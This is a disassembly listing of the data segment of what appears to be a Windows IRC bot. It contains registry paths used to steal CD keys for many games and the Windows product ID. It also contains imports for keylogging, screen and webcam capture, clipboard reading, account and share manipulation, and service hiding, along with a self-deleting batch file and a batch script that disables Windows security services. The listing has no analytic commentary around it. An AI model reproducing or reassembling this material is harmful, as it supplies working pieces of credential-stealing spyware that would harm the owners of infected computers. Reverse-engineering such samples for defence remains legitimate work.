dd 80000002h, 428DF8h, 43B188h, 428DE8h, 2 dup(0)
dd 80000002h, 428DB0h, 43B188h, 428D9Ch, 2 dup(0)
dd 80000002h, 428D50h, 43B188h, 428D30h, 2 dup(0)
dd 80000002h, 428CE0h, 43B188h, 428CB0h, 2 dup(0)
dd 80000002h, 428C74h, 43B188h, 428C60h, 2 dup(0)
dd 80000002h, 428C28h, 43B188h, 428C18h, 2 dup(0)
dd 80000002h, 428BC8h, 43B188h, 428B98h, 2 dup(0)
dd 80000002h, 428B58h, 43B188h, 428B38h, 2 dup(0)
dd 80000002h, 428B08h, 43B188h, 428AE8h, 2 dup(0)
dd 80000002h, 428AACh, 43B188h, 428A98h, 2 dup(0)
dd 80000002h, 428A50h, 43B188h, 428A2Ch, 2 dup(0)
dd 80000002h, 4289D8h, 43B188h, 4289A8h, 2 dup(0)
dd 80000002h, 428958h, 43B188h, 42892Ch, 2 dup(0)
dd 80000002h, 4288ECh, 4288E4h, 4288C4h, 2 dup(0)
dd 80000002h, 428880h, 43B188h, 428864h, 2 dup(0)
dd 80000002h, 428818h, 43B188h, 4287F4h, 2 dup(0)
dd 80000002h, 4287C0h, 43B188h, 4287B4h, 2 dup(0)
dd 80000002h, 428780h, 43B188h, 428774h, 2 dup(0)
dd 80000002h, 428740h, 43B188h, 428734h, 2 dup(0)
dd 80000002h, 428700h, 43B188h, 4286F4h, 2 dup(0)
dd 80000002h, 4286B8h, 43B188h, 4286A4h, 2 dup(0)
dd 80000002h, 428668h, 43B188h, 428654h, 2 dup(0)
dd 80000002h, 428624h, 4290F0h, 428608h, 2 dup(0)
dd 80000002h, 4285E8h, 4285E0h, 4285BCh, 2 dup(0)
dd 80000002h, 4285A0h, 4285E0h, 428580h, 2 dup(0)
dd 80000002h, 428560h, 4285E0h, 42853Ch, 2 dup(0)
dd 80000002h, 428524h, 4285E0h, 428520h, 2 dup(0)
dd 80000002h, 428504h, 4284F4h, 4284ECh, 2 dup(0)
dd 80000002h, 4284B8h, 4284B4h, 42849Ch, 2 dup(0)
dd 80000002h, 428460h, 428454h, 42842Ch, 42841Ch, 428408h
dd 80000002h, 4283E4h, 4283D8h, 4283C4h, 4283B4h, 4283ACh
dd 80000002h, 4283E4h, 4283D8h, 428380h, 4283B4h, 428378h
dd 80000002h, 4283E4h, 4283D8h, 428348h, 4283B4h, 428340h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
db 53h
aOftwareBioware db 'oftware\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: seg001:0042DF58o
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 10h
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 10h
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 10h
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 10h
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 10h
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 8
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 8
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 10h
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 10h
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 10h
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 10h
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg001:00427F14o
aCdkey db 'CDKey',0 ; DATA XREF: seg001:00427F10o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg001:off_427F0Co
align 10h
asc_429120: ; DATA XREF: sub_408503+E7o
; sub_408503+F2o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408503+8Fo
; sub_40CD3A:loc_4110F8o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408503+7Eo
; sub_4087CA+45o ...
align 10h
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408503+2Bo
align 4
unk_429144 db 2 ; DATA XREF: sub_4086B2+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_429178 db 2 ; DATA XREF: sub_4086B2+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4087CA+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_4087CA+1Ao
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40891C+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40891C+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40891C:loc_409557o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40891C+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40891C+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40891C+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40891C+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40891C+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40891C+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40891C:loc_4094B9o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40891C+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40891C+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40891C:loc_40946Fo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40891C+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40891C+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40891C+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40891C+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40891C:loc_4093FBo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40891C+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40891C+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40891C:loc_4093B1o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40891C+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40891C+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40891C:loc_409367o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40891C+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40891C+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40891C+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40891C+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40891C+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40891C+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40891C+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40891C+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40891C+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40891C+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40891C+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40891C:loc_40925Co
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40891C+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40891C+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40891C+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40891C:loc_4091FDo
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40891C+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40891C+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40891C+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40891C+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40891C+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40891C+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40891C+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40891C+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40891C+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40891C+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40891C+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40891C:loc_4090DDo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40891C+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40891C+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40891C+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40891C+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_40891C+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40891C+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40891C+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_40891C+62Do
; seg001:0042C6ACo
align 4
aListen db 'listen',0 ; DATA XREF: sub_40891C+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_40891C+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40891C+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40891C+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_40891C+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_40891C+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_40891C+5D2o
; sub_40CD3A+2035o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_40891C+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_40891C+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_40891C+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_40891C+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40891C+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40891C+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_40891C+577o
; seg001:0042CABCo
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40891C+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_40891C+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40891C+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40891C+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40891C+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40891C+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40891C+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40891C+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40891C+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40891C+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40891C+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40891C+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40891C+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40891C+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40891C+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40891C+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40891C+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40891C+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40891C+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40891C:loc_408D2Bo
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40891C:loc_408D03o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40891C+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40891C+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40891C+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40891C+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40891C+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40891C+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40891C+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40891C:loc_408C55o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40891C+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40891C+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40891C:loc_408C10o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40891C+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40891C+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40891C+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40891C+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40891C+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40891C+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40891C:loc_408B7Bo
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40891C+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40891C+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40891C+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40891C:loc_408B14o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40891C+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40891C+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40891C+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40891C+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40891C+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40891C+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40891C+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40891C+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40891C:loc_408A51o
; sub_41EF8E+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40891C:loc_408A24o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40891C+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40891C+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40891C+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40891C+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40891C+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40891C+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_40891C+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40891C+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40891C+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40891C+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40891C+23o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40891C+Ao
align 4
dword_429A94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4095A9+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+90o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409B27+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_409BEC+5o
; sub_4141DB+18o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409C6E+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D12+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D34+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409D34+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409D34+48o
align 10h
aCTenpo_bat db 'c:\tenpo.bat',0 ; DATA XREF: sub_409EBC+29o
align 10h
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409EBC+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
